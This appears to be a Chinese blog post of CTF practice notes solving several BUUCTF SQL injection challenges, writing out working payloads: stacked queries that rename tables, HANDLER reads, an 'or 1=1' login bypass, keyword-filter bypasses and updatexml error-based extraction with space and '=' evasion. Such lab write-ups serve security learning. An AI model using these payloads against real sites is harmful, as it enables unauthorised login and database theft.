buu刷题笔记之sql注入

[强网杯 2019]随便注

第一种方法:堆叠注入

payload:1';or 1=1

 查看数据库:1';show databases;

 查看表名:1';show tables;

 查看这两个表的列值:1';show columns from words;     

1';show columns from `1919810931114514`

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

payload:0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

 再用一下一开始的操作id=1' or 1=1#

 方法二:handler

1';handler `1919810931114514` open;handler `1919810931114514` read first#

[极客大挑战 2019]LoveSQL

发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:

用户名:1' or 1=1#
密码:随便输

跳转到check.php页面 登录成功,得到用户名和密码,密码尝试md5解密,失败。

 后面就是一系列的常规sql注入,不在赘述。

[极客大挑战 2019]BabySQL

和上一题差不多,这一题只是过滤了and、select、or、from、union、where这些关键字,可以通过双写桡过。

 

 

后面步骤也一样,就不在赘述了。

 [极客大挑战 2019]HardSQL

'and 1=1#被拦截

经测试:and、or、空格、=等被封死了,想想其他的办法,可以使用extractvalueupdatexml进行报错注入

空格和=号会被检测,所以我们要使用()来代替空格,使用like来代替=号,使用^等同于and

爆库:payload:username=admin'^Updatexml(1,concat(0x7e,database()),1)%23&password=admin

 

 

 

 爆表:payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23&password=admin

 

 

 爆列名payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23&password=admin

 

 

 爆数据payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1)%23&password=admin

 

 

发现显示不完整:

补充知识点:

left()   right()  函数,

LEFT(ARG,LENGTH)RIGHT(ARG,LENGTH)

LEFTRIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHARBINARY STRING

发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接

payload:'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#

 

 拼接得到flag

 

posted @ 2021-10-18 22:05  学安全的小白  阅读(256)  评论(0编辑  收藏  举报